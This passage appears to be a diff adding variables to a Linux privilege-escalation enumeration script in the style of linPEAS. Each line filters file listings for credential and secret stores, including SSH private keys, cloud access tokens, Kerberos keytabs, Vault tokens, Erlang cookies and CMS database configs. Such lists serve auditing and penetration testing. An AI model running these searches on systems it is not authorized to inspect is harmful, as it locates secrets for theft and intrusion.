+  PSTORAGE_WORDPRESS=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "wp-config\.php$" | sort | uniq | head -n 70)
+  PSTORAGE_DRUPAL=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E '/default/settings.php' | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "settings\.php$" | sort | uniq | head -n 70)
+  PSTORAGE_MOODLE=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E 'moodle/config.php' | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "config\.php$" | sort | uniq | head -n 70)
+  PSTORAGE_TOMCAT=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "tomcat-users\.xml$" | sort | uniq | head -n 70)
+  PSTORAGE_MONGO=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "mongod.*\.conf$" | sort | uniq | head -n 70)
+  PSTORAGE_SUPERVISORD=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "supervisord\.conf$" | sort | uniq | head -n 70)
+  PSTORAGE_CESI=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "cesi\.conf$" | sort | uniq | head -n 70)
+  PSTORAGE_RSYNC=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "rsyncd\.conf$|rsyncd\.secrets$" | sort | uniq | head -n 70)
+  PSTORAGE_HOSTAPD=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "hostapd\.conf$" | sort | uniq | head -n 70)
+  PSTORAGE_ANACONDA_KS=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "anaconda-ks\.cfg$" | sort | uniq | head -n 70)
+  PSTORAGE_VNC=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE\n$FIND_DIR_BIN\n$FIND_DIR_VAR\n$FIND_DIR_SBIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_OPT\n$FIND_DIR_ETC"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "\.vnc$|.*vnc.*\.c.*nf.*$|.*vnc.*\.ini$|.*vnc.*\.txt$|.*vnc.*\.xml$" | sort | uniq | head -n 70)
+  PSTORAGE_LDAP=$(echo -e "$FIND_DIR_BIN\n$FIND_DIR_VAR\n$FIND_DIR_SBIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_OPT\n$FIND_DIR_ETC"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "ldap$" | sort | uniq | head -n 70)
+  PSTORAGE_OPEN_VPN=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E ".*\.ovpn$" | sort | uniq | head -n 70)
+  PSTORAGE_SSH_FILES=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "id_dsa.*$|id_rsa.*$|known_hosts$|authorized_hosts$|authorized_keys$" | sort | uniq | head -n 70)
+  PSTORAGE_CERTSB4=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib.*' | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E ".*\.pem$|.*\.cer$|.*\.crt$" | sort | uniq | head -n 70)
+  PSTORAGE_CERTSBIN=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib/.*' | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E ".*\.csr$|.*\.der$" | sort | uniq | head -n 70)
+  PSTORAGE_CERTSCLIENT=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib/.*' | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E ".*\.pfx$|.*\.p12$" | sort | uniq | head -n 70)
+  PSTORAGE_SSH_AGENTS=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/tmp" | grep -E "agent.*$" | sort | uniq | head -n 70)
+  PSTORAGE_SSH_CONFIG=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -v -E '\..{1,4}$' | grep -E "^/usr|^$GREPHOMESEARCH" | grep -E ".*ssh.*config.*$|.*config.*ssh.*$" | sort | uniq | head -n 70)
+  PSTORAGE_CLOUD_CREDENTIALS=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE\n$FIND_DIR_BIN\n$FIND_DIR_VAR\n$FIND_DIR_SBIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_OPT\n$FIND_DIR_ETC"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "credentials$|credentials\.db$|legacy_credentials\.db$|access_tokens\.db$|access_tokens\.json$|accessTokens\.json$|azureProfile\.json$|TokenCache\.dat$|AzureRMContext\.json$|\.bluemix$" | sort | uniq | head -n 70)
+  PSTORAGE_KERBEROS=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "krb5\.conf$|krb5\.keytab$|\.k5login$|kadm5\.acl$" | sort | uniq | head -n 70)
+  PSTORAGE_KIBANA=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "kibana\.y.*ml$" | sort | uniq | head -n 70)
+  PSTORAGE_KNOCKD=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E '/etc/init.d/' | grep -E "^/etc" | grep -E ".*knockd.*$" | sort | uniq | head -n 70)
+  PSTORAGE_LOGSTASH=$(echo -e "$FIND_DIR_BIN\n$FIND_DIR_VAR\n$FIND_DIR_SBIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_OPT\n$FIND_DIR_ETC"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "logstash$" | sort | uniq | head -n 70)
+  PSTORAGE_ELASTICSEARCH=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "elasticsearch\.y.*ml$" | sort | uniq | head -n 70)
+  PSTORAGE_VAULT_SSH_HELPER=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "vault-ssh-helper\.hcl$" | sort | uniq | head -n 70)
+  PSTORAGE_VAULT_SSH_TOKEN=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "\.vault-token$" | sort | uniq | head -n 70)
+  PSTORAGE_COUCHDB=$(echo -e "$FIND_DIR_BIN\n$FIND_DIR_VAR\n$FIND_DIR_SBIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_OPT\n$FIND_DIR_ETC"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "couchdb$" | sort | uniq | head -n 70)
+  PSTORAGE_REDIS=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "redis\.conf$" | sort | uniq | head -n 70)
+  PSTORAGE_MOSQUITTO=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "mosquitto\.conf$" | sort | uniq | head -n 70)
+  PSTORAGE_NEO4J=$(echo -e "$FIND_DIR_BIN\n$FIND_DIR_VAR\n$FIND_DIR_SBIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_OPT\n$FIND_DIR_ETC"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "neo4j$" | sort | uniq | head -n 70)
+  PSTORAGE_CLOUD_INIT=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "cloud\.cfg$" | sort | uniq | head -n 70)
+  PSTORAGE_ERLANG=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "\.erlang\.cookie$" | sort | uniq | head -n 70)
+  PSTORAGE_GMV_AUTH=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "gvm-tools\.conf$" | sort | uniq | head -n 70)
